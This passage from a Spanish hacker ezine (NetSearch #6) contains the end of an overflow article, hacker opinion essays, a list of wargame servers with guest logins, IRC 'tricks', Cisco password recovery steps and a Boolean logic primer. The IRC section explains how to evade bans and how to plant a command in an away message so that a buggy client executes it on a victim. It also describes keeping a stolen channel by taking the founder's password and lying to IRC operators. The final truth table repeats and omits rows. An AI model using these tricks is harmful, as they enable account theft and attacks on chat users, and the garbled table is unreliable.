bytes de mas.
-------------------
// 6.- Conclusion
-------------------
Aunque este tipo de overflows son muy especificos, y en algunas ocasiones
dificiles de xplotar, queda demostrado que en determinadas circunstancias si
es posible saltarse el chequeo de caracteres no alfanumericos, y conseguir
ejecutar una shell. Lo malo es que antes de hacer el xploit se necesita un
estudio minucioso del programa y de su contexto en memoria, siendo
practicamente imposible que el mismo xploit funcione en dos maquinas
diferentes.
En este ejemplo hemos usado un metodo para sobrescribir el registro %ebp,
pero es posible usar otros mecanismos para conseguir ejecutar una shell. Por
ejemplo podemos sobreescribir la direccion de retorno de main() con 1 o 2
bytes alfanumericos, y mappear la memoria hasta llegar a la zona de librerias
dinamicas, una vez alli buscamos el codigo en ensamblador que nos interese
para saltar a el. Solo es cuestion de hecharle imaginacion :).
Pues nada nas..
Un saludo a tod@s, en especial a Sp4rK, SaO-LiN, cafo, QuasaR, a la peÒa de
#netsearch, y a todo el mundo en definitiva ;). Nos vemos en NetSearch Ezine
#7.
Hasta la proxima.
RaiSe
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x10 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Breves de NetSearch ]-===================================================
=-[ por Varios Autores ]-====================================================
----
+ Indice Articulos:
1.- Disertacion Personal (por Plateado).
2.- Wargames (por TheGuesT).
3.- Trucos en el IRC (por Plateado).
4.- Recuperacion de passwords en routers Cisco (por MegadetH).
----
Bueno, aqui estamos otra vez :). Esta vez tenemos unos cuantos artis, breves,
pero no por eso malos. Empezamos con uno de opinion que a mi gusto es de lo
mejorcito que he leido ultimamente (en cuanto a este tipo de textos se
refiere). Despues uno de Wargames, que trata sobre los juegos que estan tan
de moda ultimamente, donde tienes que 'hackear' una maquina, por supuesto con
permiso del propietario. Seguimos con un articulo sobre 'trucos' en el IRC,
que seguro que agradeceran nuestros lectores que se estan iniciando en el
mundo del chateo. Y terminamos con un excelente documento sobre recuperacion
de passwords en routers cisco.
Os dejo con ellos ..
==[ Disertacion Personal ]===================================================
==[ por Plateado ]===========================================================
øQue es un hacker?.
Esta pregunta es dificil de contestar, para empezar porque el significado no
esta bien definido. Hay miles de definiciones distintas y no por ello dejan
de ser correctas. He leido ya una cantidad enorme de definiciones, unas mas
graciosas que otras, recuerdo que me hizo gracia una de un chaval que acababa
de ver la pelicula hackers y decia algo asi como "Hacker es la persona que se
mete en un ordenador de una empresa usando a gran velocidad los flashes de
colores", en fin, los comentarios sobran.
La mas repetida de todas es la de "Hacker es la persona que se introduce en
un sistema informatico sin tener autorizacion para ello", esta podria ser
correcta, pero la verdad es que eso yo lo hago y no me considero un hacker,
mas bien un intruso, o simplemente alguien que penetra por agujeros de
seguridad.
Para mi los hackers son los gurus de la informatica, no es hacker el que sabe
hackear, sino el que esta en el grado maximo de los conocimientos, puede
moverse en casi cualquier sistema, y muy por el contrario de lo que se
piensa, no hackea en beneficio porpio, sino mas bien, por ansia de
conocimientos, y por la lucha de un ideal, la libertad de informacion por
encima de todo.
No soy un entendido en la historia de los procesadores, ni siquiera en la de
ordenadores, si me hablas de antes del 286 los conozco vagamente, y si los
conozco... , pero preferi estudiar la historia de los hackers, los autenticos
hackers. Gente como Kevin Mitnick, Phiber Optik de Masters of Deception,
Prophet, Leftis y Urville de Legion Of Doom (LOD) o Knight Lightning, y por
supuesto algunos hackers del lado de la seguridad, que tambien los hay, como
Gail Thackeray; Ellos son los protagonistas de la operacion Sundevil, la caza
de hackers que se realizo en USA con fines ejemplarizantes para quitar de la
mente a las siguientes generaciones el seguir sus pasos. Los gobiernos no
quieren ver lo que realmente buscamos los hackers y los que seguimos sus
pasos, o si lo quieren ver no les interesa que lo consigamos, el conocimiento
nos hara libres...
øQue es un lamer?
A menudo oigo decir lamer o leim a la peÒa, y en la mayoria de los casos ni
siquiera saben lo que significa, por supuesto este termino tambien tiene
infinitas acepciones, yo solo voy a dar la mia, y quizas alguno piense en lo
que digo y se de cuenta de algo que pueda ayudarle a el o a otros...
Ahi va la mia: Para mi un lamer no es la persona que se mete con troyanos en
los ordenadores de la gente, de hecho, pienso que si una persona me colase un
troyano, le felicitaria por su habilidad con la ingenieria social, tampoco
son las personas que usan programas hechos por otros, o los que usan windows.
Para mi los lamers son aquellos que usan cosas sin saber sus procedimientos,
sin entender lo que realmente estan haciendo, y que ademas no les importa el
no saberlo. No se preocupan por aprender que hacen y ni siquiera querrian
aprenderlo, porque leer la informacion les parece una perdida de tiempo, eso
es ser un lamer. Lo peor es que esa gente muchas veces desprestigian el buen
nombre de los hackers diciendo que ellos lo son, y muchas veces son cogidos
por no saber lo que hacian, y condenados sin saber que riesgos corrian antes
de hacerlo. A toda esa gente, si lee esto, le recomiendo que se informen de
las consecuencias legales que puede conllevar ser un lamer, asi como las
posibilidades que hay de que te pillen...
Plateado
-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__
==[ Wargames ]===============================================================
==[ por TheGuesT ]===========================================================
Wargames
^^^^^^^^
Si quieres demostrar lo que sabes sobre hack, sistemas operativos y
programacion ya no hay excusa posible. Siempre hemos tenido la oportunidad de
demostrar nuestros conocimientos o bien de manera ilegal ( la menos
recomendable ;) ), con nuestro propio ordenador o, los mas afortunados, red o
incluso con los ordenadores de los colegas. Hace tiempo surgio lo que
denominamos wargames ( juegos de guerra ). Su nombre se saco probablemente de
la pelicula que al fin y al cabo no se va tanto de lo que en la actualidad
conocemos por wargames.
Estos son una especie de juegos en internet en los cuales tienes que
demostrar tus conocimientos a la hora de hackear un server. Y todo de manera
absolutamente legal ya que los dueÒos de las maquinas las han puesto ahi para
que tu las ataques.
Basicamente, yo distingo dos tipos de wargames. En unos el juego se divide
por niveles. Para pasar al siguiente nivel tienes que superar un reto. Como
es obvio, cada nivel que avanzas el reto es mas complicado llegando incluso a
tener que programarte tu propio exploit basado en un buffer overflow que
tienes que encontrar en algun programa que usa la maquina. El problema que
personalmente le veo a este tipo de wargame es que estas muy limitado. Haces
practicamente lo que te dejan hacer y la forma de pasar de nivel es igual
para todos asi que no os sera dificil encontrar por la red la solucion a los
enigmas de los wargames de este tipo.
El segundo tipo me parece mas interesante. Los protagonistas: una maquina con
distintos servicios instalados, una cuenta de invitado y un hacker. Objetivo:
obtener el control de la maquina, dar a conocer como lo hiciste y protegerla
el mayor tiempo posible. Durante ese tiempo la maquina es practicmante tuya.
Tendras que administrarla estando atento a los bugs que vayan saliendo a la
luz. Tu mayor enemigo los 0-day exploits. Es el nombre que se le da a los
exploits que no han salido a la luz y que los propios hackers se hacen con el
objetivo concreto de obtener root en una maquina.
Habitualmente las maquinas que pertenecen a estos wargames tienen algun
sistema operativo de verdad, instalado. Me refiero a sistemas operativos de
verdad, cualquiera menos los de Microsoft xD. Algun tipo de Unix o algun OS
especifico para un hardware. Por ejemplo, en una de las URLs que mostrare al
final se permite el ataque a un router son JunOS instalado. Interesante sin
duda.
Tal vez, haya dado la impresion de que estos wargames se rigen por la
anarquia pero no es asi. Todos los wargames tienen su propio conjunto de
reglas que se suelen resumir en "haz pero deja hacer" y "no me utilices como
ftp warez o plataforma de ataque DoS". En algunos casos el admin del juego
protege con un firewall la red para que no haya conexiones desde alguna de
sus maquinas hacia fuera.
Llegado a este punto tal vez algun lector se esperaba que desvelara alguno de
los retos de algun wargame tal como se ha hecho en otros ezines del sector.
Pero no va a ser asi ya que no me gusta desvelar el final de la pelicula. Es
como si os dijera que Leonardo Di Caprio muere al final de Titanic o que
Bruce Willis es un fantasma en el Sexto Sentido. ø Habiais visto ya estas
pelis verdad ? X).
Ahora os mostrare algunas URLs y algunas maquinas de estas URLs sobre las que
podeis probar.
http://www.pulltheplug.com
Maquinas disponibles:
olive.labs.pulltheplug.com (209.9.44.209)
Juniper Router - JUNOS 4.2R1.3 - l/p : guest/guest
roothat.labs.pulltheplug.com (209.9.44.210)
Pent. Pro - 200 Mhz - 128 Megs RAM - 1.6 Gig HD - RedHat 6.2
bigperm.labs.pulltheplug.com (209.9.44.212)
Pent. Pro - 200 Mhz - 128 Megs RAM - 2 2 Gig HDs - Debian/GNU Linux
2.1
Linux 2.2.13 - Solar Designer's Security Patches - l/p : guest/guest
bassd.labs.pulltheplug.com (209.9.44.211)
Pentium - 200 Mhz MMX - 64 Megs RAM - 2 Gig HD - FreeBSD 4.0 - l/p :
guest/guest
generic.labs.pulltheplug.com (209.9.44.213)
Pentium - 200 Mhz - 80 Megs RAM - 2 Gig HD / 3 Gig HD - OpenBSD 2.6 -
l/p : guest/guest
bricklouse.labs.pulltheplug.com (209.9.44.214)
Pentium - 166 Mhz - 64 Megs RAM - 2 Gig HD - NetBSD 1.4.2/i386 - l/p :
guest/guest
mainsource.labs.pulltheplug.com (209.9.44.215)
P2 Celeron - 450 Mhz - 128 Megs RAM - Suse Linux 6.4 - l/p :
guest/guest
slowaris.labs.pulltheplug.com (209.9.44.216)
Solaris 2.8 l/p: guest/guest
disco.labs.pulltheplug.com (209.9.44.217)
Cisco 2514 - 16 Megs RAM - 8 Megs Flash - IOS 12.0.4 - Firewall IOS -
l: letmein
EOF
http://www.hack3r.com
Maquinas disponibles:
hercules.hack3r.org
IP hercules.hack3r.org / 208.46.64.190
Description AMD k6-2 500, 128 Megs Ram. 8 Gig HD
Information Turbo Linux 6.0.4
Status Currently Down for repairs
minime.hack3r.org
IP 66.56.147.177
Description i486 8 Megs Ram 400 meg HD
Information OpenBSD 2.8
Login: hetfield Passwd: abc123
Status Currently Up
EOF
http://www.happyhacker.org
Maquinas disponibles:
happyhacker.org ( el sitio donde esta la web propiamente )
EOF
http://www.hackerslab.org
Maquinas disponibles:
drill.hackerslab.org
EOF
http://www.cyberarmy.com
EOF
Bueno, esto ha sido todo. Supongo que para los que ya habiais visto estos
wargames no es nada nuevo pero siempre hay gente que comienza y tiene miedo a
experimentar. Ya no hay excusa. A hackear se aprende hackeando.
Saludos a todos los ezines underground y a los canales #teleco_valencia y
#hacking del Hispano.
TheGuesT
theguest@ono.com
-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__
==[ Trucos en el IRC ]=======================================================
==[ por Plateado ]===========================================================
Nota preliminar: la informacion que aqui se expone es meramente educativa y
fue expuesta aqui con el proposito de que todo aquel que la leyera conociese
algunos fallos o curiosidades que pueden encontrarse en el Irc, es decir, no
me hago responsable de cualquier mal uso que pueda darsele a esta informacion
ni del daÒo que esto pueda causar en tu mismo ordenador o daÒos a terceros,
por si alguno es corto de mente... lo explicare diciendo que, si alguien que
ha leido esta informacion se pone a joder en el canal de los operadores de la
red, el y solo el sera responsable de lo que esto conlleve...
øøQue script debo usar??
-------------------------
Para empezar, yo recomiendo no ir por ahi con el mIrc a pelo, cierto que
tiene menos posibles bugs, pero la velocidad de ejecucion de los comandos en
un script ayuda mucho. Si tengo que aconsejar, yo me quedo con el x-chat
aunque cualquiera de los clientes de Irc de linux son lo mejor. Como seria
una maravillosa utopia que todos los que leen esto usaran Linux, no me queda
mas remedio que recomendar el Phanatik Script, que para mas seguridad puedes
spoofear el replay a los ctcp version, poniendo algo que haga parecer que
corres en Linux, y configurando en los kicks y bans que no salga lo de
Phanatik para que no te delate.
Saltandote ese molesto ban
---------------------------
Saltarte un ban es sencillo a pesar de lo que pueda parecer, lo principal es
saber de que tipo es el ban, normalmente aparece en el status bajo que
mascara se te ha baneado, hay tres tipos de ban:
Nick: son del tipo Plateado!*@*.* , se saltan simplemente cambiandote el nick
y reentrando al canal. La pequeÒa desventaja es que en algunas redes no
puedes cambiar el nick una vez dentro si esta baneado.
IP: son del tipo *!*@*.127-0-0-1 , este lo saltaremos cambiando nuestra IP,
para esto usaremos un Bouncer o desconectaremos de internet y volveremos a
conectar para que se nos asigne otra IP. En el caso de Irc-hispano, usaremos
las IP¥s virtuales para nuestro proposito, nos pondremos en modo-x poniendo
"/mode Plateado -x" para que nuestra IP cambie a la real, reentramos al canal
y volvemos a ponernos en modo +x poniendo "/mode Plateado +x" para que
nuestra IP vuelva a ser virtual y si nos vuelven a banear poder repetir la
accion. Esta tecnica en Irc-Hispano tiene una desventaja, al entrar al canal
da tu IP real "Plateado(@Alpha.127-0-0-1) has join".
Ident Spoof: son del tipo *!Alpha@* , los saltaremos cambiando el Ident Spoof
que en la mayoria de los scripts se cambia en la zona de configuracion y tras
cambiarlo se desconecta y reconecta del server de irc para que el cambio de
Ident Spoof haga efecto y reentra en el canal.
Hay que dejar claro que los tres tipos pueden estar combinados en un mismo
ban, asi que probablemente tengamos que hacer mas de uno de los tres trucos
para saltarnos un mismo ban. Puedes conseguir un addon que automatiza este
proceso para el hispano hecho por theBosz en www.theBosz.net.
Deshaciendote de un Akick
--------------------------
Como ocurre con los bans, los Akick son de tres tipos:
Nick: son los mas normales y simplemente te echan si usas ese nick en
concreto, para saltarlo simplemente cambiamos de nick y entramos en el canal.
Para deshacerte de el es algo mas complejo, lo explicare por pasos:
Vamos a un ircop y le decimos que nos drope el nick porque queremos registrar
otros en el mismo mail, no creo que te pongan pegas. Te pedira el mail de
registro y que estes identificado asi como te informara que perderas todos
tus registros. Una vez dropado volvemos a registrarlo a un mail nuestro de
modo que nos manden de nuevo la password y ya nos hemos librado de el.
La desventaja que tiene es que pierdes todos tus registros, para evitar esto,
haz lo mismo que yo, usa tu nick para la batalla y ten otro aparte para los
registros, asi podras tantas veces quieras sin perder los registros. Te
recomiendo que a parte de los akicks tengas algun registro para que el ircop
no se mosquee cuando le toque droparlo o te pondra pegas....
IP o Ident Spoof: estos raramente se ven, son los mejores para el momento
pero los mas inofensivos a la larga, aunque dropes el nick no se van, ya que
no akickean al nick, para saltartelos cambia el Ident Spoof o desconecta y
conecta para que se te asigne otra IP X-FUCK, Lamersias y Orbital.
Estos scripts en sus versiones 4.1 el x-cript y x.x el mesias tienen un bug,
me he tomado la libertad de llamar al Mesias Lamersias debido a que si ya era
muy coincidente el parecido que tenia con el X-Cript, lo es mas que tenga el
mismo Bug, en fin, a lo nuestro. Lo explicare por pasos para que sea mas
facil:
Nos ponemos en away poniendo tras el mensaje de away un comando que sea
ejecutable por el script, por ejemplo: "//away no toy | quit me las piro por
cortesia de Plateado" Una vez hecho esto hacemos query a la victima y la
saludamos, el respondera y nuestro away saldra en su pantalla Segundos
despues el comando se ejecutara en la victima sobre la cual en este caso
tendria este resultado: "Victima has Quit Irc(me las piro por cortesia de
Plateado)" Echadle imaginacion y pensad en todos los comandos que se pueden
ejecutar asi.
Consiguiendo la IP de nuestra victima
--------------------------------------
Desgraciadamente aun no se como conseguir la IP sin necesidad de ingenieria
social. Para conseguirla tienes conseguir que la victima acepte o te mande un
DCC, ya sea chat o send, y tendras su IP, en www.theBosz.net puedes encontrar
que su script tiene incorporado un spoofeador de IP para envios de dcc de tal
modo podrias enviar dcc¥s sin dar tu ip y viendo la de la victima.
Robando un nick o un canal
---------------------------
Ante todo te digo de antemano que leyendo esto no vas a saber robar un canal,
solo te voy a explicar, como hacer que los ircops no devuelvan el canal a su
legitimo dueÒo, necesitas la pass del nick del founder y su mail de registro,
tu sabras como los consigues aunque la ingenieria social te puede ayudar
mucho...
Una vez tenemos la pass del nick nos ponemos su nick y nos identificamos,
entramos en el canal y cambiamos la pass del canal y ya de paso tambien la
del nick. Luego cambiamos el canal de founder, a otro nick nuestro, da igual
a cual porque esto sera solo momentaneamente... Vamos a un ircop a que nos
drope el nick y ponemos la misma excusa que para quitarnos un akick, y una
vez dropado registramos el nick en un mail nuestro. Ya tenemos el nick en
nuestro poder, pero falta terminar con el canal, para ello volveremos a
cambiar el founder a nuestro nuevo nick... Cuando la victima llame a un
ircop para que le devuelvan el canal el ircop le dira que el no es el dueÒo
del nick de founder, entonces el dira que se lo robaron tb y que le reenvie
la pass, sobre la marcha el cop le pedira el mail de registro del nick que no
coincidira con el que el dara asi que le dira que no puede ayudarle si no le
da el mail correcto... Todo hecho :)
Si tienes alguna duda, critica, queja, insulto reservado para mi,
agradecimiento o cualquier otra cosa interesante mandame un mail a
garra@iespana.es , prometo contestar.
Plateado
-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__
==[ Recuperacion de passwords en routers Cisco ]=============================
==[ por MegadetH ]===========================================================
*0 Prologo
Este es un mini arti dedicado a la recuperacion de passwds perdidas de
routers Cisco.La verdad es k es una chorrada pk el mismo Cisco lo documenta y
aparece en sus cursos de acreditacion. Ademas por supuesto debes tener acceso
fisico al router, pero a lo mejor alguien se hace con un router de segunda
mano, o tiene en su red un router que un admin que ya no esta configuro en su
dia.... Se supone conocimiento minimo de routers Cisco e IOS.
Para mas info: www.cisco.com.
*1 Intro
Hay varios procedimientos para recuperar passwds de los routers Cisco,
dependiendo del router, del IOS e incluso de la CPU. Y tb de si la passwd
perdida es una "enable" o es "line". Por norma general se deben restablecer
las configuraciones de arranke. Algunos routers viejos usan puentes hardware
para ello, por lo k hay k destriparlos. Afortunadamente los mas modernos usan
puentes software (registros de configuracion), donde se puede cambiar. Segun
el valor contenido en la entrada del archivo de configuracion nos indica una
cosa:
Si el 0 se encuentra en primera posicion indica que entre al modo "rommon" al
arrancar, pe: 0x010.
Si el 1 se encuentra en primera posicion indica que inicie desde el IOS
almacenado en la ROM, pe: 0x102.
Si el 2 se encuentra en primera posicion indica que mire el archivo de config
en la NVRAM para decidir con que imagen del IOS arrancar, pe: 0x2102.
*2 Passwds Enable
Hay 2 modos de recuperar passwd enable y enable-secret, dependiendo del
router el IOS y hasta la CPU. Los procedimientos normales son acceder al
simbolo del sistema "rommon" para passwds enable y al "test-system" para
passwds line. Esto se hace enviando una seÒal break desde la consola al
router (ctrl+b,alt+b.. depende del terminal o emulador..).La primera parte
para los 2 metodos es la misma:
1. Conectar un terminal o pc o lo ke sea con un emulador de terminal al
puerto de consola del router.
2. Escribir en el simbolo del sistema "show-version" (la perdida de la pass
enable solo nos bloquea el acceso al modo privilegiado, no al resto del IOS).
La ultima linea de la salida de este comando es el registro de configuracion
(uno muy comun es 0x2102), guardemosla.
3. Reiniciamos el router.
4. Mandamos un "break" antes de k arranke.
5. Aparece el prompt del rommon (rommon>).
2-1 Modo 1
(Routers:Cisco 2000, 2500, 3500, 4000 con CPU Motorola 68k, 7000 con
ROM IOS > 10.0, IGS con IOS 9.1 o posterior.)
6 Tecleamos /r0x42 para iniciar desde la flash o /r0x41 para hacerlo desde la
ROM. Si podemos arrancar desde la flash de p.m., pk podemos cambiar la
passwd, sino rula arancamos desde la ROM.
7 Introducimos el comando "reload", que hace que reiniciemos desde la flash
ignorando el archivo de configuracion guardado.
8 En la pantalla de configuracion respondemos que "no" a todo hasta llegar a
"press return to get started".
9 Pulsamos intro y aparece el simbolo del sistema (Router> nombre predeter
minado).
10 Escribimos "enable" y aparecera el simbolo del modo privilegiado
(Router#, como siempre).
11 Si la passwd era enable escribimos "more nvram:startup-config" para verla,
si es enable-secret para no complicarnos la vida creamos una nueva con
"configure memory" y "write memory".
2-2 Modo 2
(Routers:Cisco 1003, 1600, 3600, 4500, 7500)
6 Introducimos el comando "confreg" (configuration register), cuando aparece
el mensaje "Do you wish to change the config?" contestamos "yes".
7 Contestamos "no" hasta k aparezca "ignore system config info?", contestamos
"yes".
8 Contestamos "no" a todo hasta k aparezca la frase "change boot
characteristics?", contestamos "no" y aparece la frase "intro to boot".
Pulsamos enter.
9 Si la memoria flash rula, introducimos el num 2 para arrancar desde ella.
Si no, introducimos el 1 y arrancamos desde la imagen del IOS de la ROM,
igual k arriba conviene + desde la flash.
10 Introducimos el comando "reload", si el router es un 4500 o 7500,
reiniciamos interrumpiendo la corriente (Cisco lo llama "ciclo de potencia"
xDDD k finos pa un puto reset. Los usuarios de Windoze por cierto, estan muy
acostumbrados a este punto :-P).
11 Contestamos k "no" a todo.
12 Al llegar al prompt introducimos "enable" para entrar al modo
privilegiadop.
13 Una vez alli podemos:
- - introducir "more nvram:startup-config" para passwd enable.
- - usar "configure memory" / "write memory" para crear una passwd enable
secret nueva.
- - usar "write erase" para joder todo el fichero de configuracion (xD).
14 Introducimos "config-term" en el simbolo del sistema (modo privilegiado).
15 Introducimos "config-reg" y escribimos la config k guardamos en el paso
dos (show version).
16 Presionamos ctrl-z.
17 Introducimos "write memory" para guardar la config en la NVRAM.
*3 Passwds line
Para recuperar una contraseÒa de linea hay k forzar al router al modo
"diagnostico de fabrica". Esto se consigue de la siguiente manera:
(es recomendable consultar el manual si lo tenemos..)
Cisco AS5100,AS5200,AS5300 : Cambiar la configuracion de 0x8000
Cisco 1600,2500,3000,3600 : usar "reload" y despues cambiar los valores
de configuracion a 0x2102 al acabar
routers modulares : Establecer el puente del bit 15 del registro de
configuracion, reiniciar y restablecer el puente.
Una vez en dicho modo :
1 Contestamos "yes" cuando pregunte si keremos restablecer las directivas del
fabricante,aparece el simbolo "test-system>".
2 Introducimos "enable" para entrar al modo privilegiado del test-system.
3 Escribimos "config-term", luego "show:startup:config". Ahora se debe ver el
archivo de configuracion, buscamos la passwd y la anotamos. No la cambiemos
desde aqui.
4 Reinicamos el router.
5 Ya podemos usar la passwd anteriormente copiada.
*4 Notas finales
Los routers viejos que necesitan cambiar el registro de configuracion usando
puentes hardware (IG con IOS anterior a 9.1, Cisco 70x0 con IOS anterior al
10.0..etc) requieren distintos procedimientos que podeis consultar en la
peich de Cisco (estan ?). Lo que si que hay en la peich de Cisco es mogollon
de info sobre routers, switches e IOS, ademas de sobre redes en general.
-www.cisco.com-
Si teneis alguna duda, curiosidad, etc., sobre routers Cisco podeis intentar
preguntarmelo a mip xD, o bien enviar un mail al staff donde hay gente como
el tio Pope que esta haciendo el CCNA.
Saludos
MegadetH
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x11 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Intro. a Circuitos Digitales ]-==========================================
=-[ por WhEkeP ]-============================================================
En este apartado pretendo explicar los circuitos digitales mas internos de un
pc.
Es decir, explicar la composicion de la ALU, memoria registros ... y poder
ver como es posible mediante la conectividad de ciertos transistores realizar
unos de estos componentes y su funcionamiento. Pasemos a las explicaciones:
sabemos que cualquiera de los componentes que forman un pc trabaja con solo
dos valores en su circuiteria: el cero y uno (0-1).
Para entender como es posible tener un chip como la ALU que sume, reste ....
y numeros expresados en una tira de ceros y unos, sera necesario entender
primero los postulados y teoremas del Algebra de boole, sobre los que los
circuitos digitales se basan.
El algebra de boole nos proporciona una serie de postulados y teoremas que se
cumplen para variables logicas, es decir variables que solo pueden tomar dos
valores (cierto y falso).
* Variables logicas
Primero de todo , que es una variable logica ?
Su definicion seria:
.- Variable logica es una variable que tiene tres propiedades "especiales"
(por llamarlo de alguna manera).
Primera: Una variable logica puede adoptar uno u otro de solo dos valores
posibles.
Segunda: Los valores se representan por sentencias declarativas
(arriba,abajo - alto,bajo ....).
Tercera: Y como ultima los valores de una variable logica deben ser tales que
sean mutuamente exclusivos, es decir no podrian ser correcto dos
valores como "alto, bajo" y donde el alto es que mida entre [1,50 y
12,10] y el bajo que mida entre [1,20 y 1,60], ya que cuando algo
mida 1,50 no se sabra que valor de la variable logica le
corresponde.
* * Funciones de variables logicas.
Como sabemos, una funcion matematica determina distintos valores que se
pueden deducir a partir de ciertos valores de una variable, llamada variable
independiente.
Pues bien!, trabajando con variables logicas podemos llegar a definir ciertas
funciones matematicas, que nos proporcionan ciertos valores logicos a partir
de otros valores que tomen la variable independiente incluida en la funcion.
Si distinguimos entre funciones de una sola variable y funciones de mas de
una variable, seria lo siguiente:
- Las funciones de una variable serian expresar como Z=f(A), donde A es la
variable logica independiente. Con este concepto tenemos que distinguir
cuatro funciones a partir de las 4 combinaciones posibles que podemos formar
con los valores de Z y de A.
Pondre un ejemplo para que quede claro. Supongamos que los dos valores que
puede tener una variable boolana o logica sea V y F
| _ | |
Z=A | Z=A | Z=F | Z=T
A Z=f(A) | A Z=f(A) | A Z=f(A) | A Z=f(A)
F F | F T | F F | F T
T T | T F | T F | T T
La funcion Z=A corresponde a la funcion identidad.
La funcion Z=A corresponde a la funcion NOT.
La funcion Z=F, en realidad no es una funcion sino una constante en este caso
vale F.
La funcion Z=T, en realidad no es una funcion sino una constante en este caso
vale T.
- Las funciones de dos variables logicas expresadas como f(A,B), donde A y B
son las variables independientes de la funcion. Para formar estas funciones
es preciso definir lo que se llama la tabla de verdad, donde aparecen todos
los valores posibles de las variables con los resultados de la tabla. Segun
he dicho antes si las variables logicas son f(A,B) nuestra tabla de la verdad
seria:
A B Z=f(A,B)
F F
F T
T F
T T
(Quedaros con esta "tabla", como podeis ver esta vacia y ahora explicare el
tipo de funciones que existen y comprendereis mejor "la tabla de la verdad".
Esta es la parte que mas me gusta jejeje, aqui empieza toda la "chicha".)
-Funcion AND
A B Z= A AND B
F F F
F T F
T F F
T T T
Como podeis ver, Z sera verdad(T) cuando A y (and) B sean a la vez
ciertas(V). Un simbolismo alternativo para la funcion AND es: Z = A*B incluso
mas simple todavia Z=AB. El simbolismo es debido a que Z, en esta funcion es
el resultado del llamado producto logico de A y B. Si explicamos las
propiedades de la funcion AND (en este caso explicare solo 2) tendriamos las
siguientes:
1.- Conmutativa, es decir, si el orden de A y B se intercambia la funcion Z
no se alterara y seria: Z=AB=BA
2.- Asociatividad. Es cierto que: Z=(AB)C=A(BC)
(espero que este claro pq me explicado lo "mas" facil que he podido. No
asustaros con las propiedades conmutativas y asociativas, despues entendereis
q las explico..).
-Funcion OR
A B Z= A OR B
F F F
F T T
T F T
T T T
Bien en esta tabla de la verdad vemos lo siguiente, Z=T si A=T o(OR) B=T o si
ambas (A y B) son verdaderas. Un simbolismo alternativo para la funcion OR
es:
Z=A+B
Es por ello que esta funcion le podriamos llamar "suma logica de A y B".
Se puede verificar facilmente que al igual que la funcion AND , la funcion OR
cumple las propiedades conmutativas y asociativas.
1.- Conmutativa: A+B=B+A
2.- Asociativa: A+(B+C)=(A+B)+C
* Sistemas logicos:
Pasamos ahora a la parte practica a sacarle partido a todas estas funciones y
tablas de la verdad, en este caso con las funciones logicas que he explicado
es posible construir circuitos electronicos cuyo funcionamiento corresponda a
una expresion formada por las funciones (AND y OR). Un ejemplo que quedara
bien claro y que me explicaron hace aÒos.
Supongamos que queremos construir una maquina sencilla, de manera que suene
una alarma de un avion en el caso en que los dos pilotos que lo patrullan se
vayan.
Colocamos 2 conmutadores 1 y 2 en los asientos de los pilotos (les llamamos
P1 y P2), los conmutadores se preparan para que se cierren cuando el piloto
deje su asiento. Supongamos que A representa la variable logica que es verdad
cuando P1 no esta en su asiento y falsa cuando lo esta, y que B representa la
variable del piloto P2. Entonces si queremos que suene la alarma cuando los
dos pilotos esten fuera, la funcion que corresponde al circuito seria: F=AB o
sea una AND.
El circuito seria algo parecido a esto:
___________ P1 __________ P2 ___________
| \ ^ \ ^ |
| \ \ |
| \_ \_ |
| ___|___
| |Timbre|
__|___ |______|
____ Bateria |
| |
|______________________________________________|
Pero y si ahora lo que queremos usar es la funcion OR, si seguimos el ejemplo
anterior y decidimos que la alarma suene cuando P1 o P2 abandonen el asiento.
En este caso el circuito seria:
P1 ________
|\ ^ |
| \ |
| \_ |
___________| |_________________
| | | |
| | P2 ________| |
| \ ^ |
| \ |
| \_ |
| ___|___
| |Timbre|
__|___ |______|
____ Bateria |
| |
|______________________________________________|
(busco utilidad para hacer los dibujos en 10 min xD).
En en estos fantasticos ejemplos (xD) existen la necesidad de realizar
circuitos que expresen cierta logica para que funcionen de una manera u otra.
Es decir estos 2 circuitos se basan ni mas ni menos que en funciones
booleanas.
En otras palabras para realizar circuitos como los anteriores se usan
dispositivos que internamente implementen una funcion logica.
-.- Puerta AND: (dispositivos que realiazan un producto logico entre dos
variables)
_______
A----------| \
| |--------AB
B----------|_______/
Si tenemos en cuenta la conmutatividad y asociatividad de la funcion AND, el
dispositivo que realice el producto logico de muchas variables puede ser:
______
A----------| \
| \
B----------| |--------AB...
| /
-----------|______/
-.- Puerta OR: (Dispositivos que realiza la suma logica entre dos variables)
_______
A----------| \
| |--------A+B
B----------|_______/
Conmutatividad y asociatividad (puerta OR)
______
A----------| \
| \
B----------| |--------A+B...
| /
-----------|______/
-.- Puerta NOT: (Puerta que tiene solamente una entrada y una sola salida.
En otras palabras cuando la entrada es verdad, la salida es
falsa, y viceversa)
__
| \ _
A---------| |*--------- Z=A
|__/
La parte esencial del "dibujo" es el *, ya que cuando se quiere indicar la
inversion en un diagrama logico con puertas o simbolos, a los que se pueda
insertar el circuito se omite la parte del inversor. Si suponemos que tenemos
la puerta AND que genera el producto logico AB y queremos complementar este
producto para generar AB podriamos hacer lo siguiente:
__
AB
/
_______ /
A----------| \ / __
| |*--------AB
B----------|_______/
- Numeros binarios y variables logicas
Empieza la "fiesta" ;))). Como sabeis la utilidad especial del sistema de
numeracion binario en relacion con el algebra de las variables logicas
proviene del hecho de que las variables logicas tienen solo dos valores y el
sistema binario dos digitos.
Si tenemos que implementar circuitos logicos es posible que tengamos muy
claro cual es la tabla de verdad asociada, es decir cual es el resultado
final a partir de los valores de entrada.
En estos casos deberemos conseguir, a partir de la tabla, deducir cual es la
expresion logica que define esa tabla de verdad, para que de esta manera
seamos capaces de dibujar el circuito digital correspondiente. Por ejemplo
para que lo entendais mejor pondre una tabla que puede ser perfectamente el
comportamiento de un pequeÒo sistema.
A B C Z=f(A,B,C)
0 0 0 0
0 0 1 0
0 1 0 0
0 1 1 1
1 0 0 1
1 0 1 1
0 1 1 1
1 0 0 1
1 0 1 1
1 1 1 1
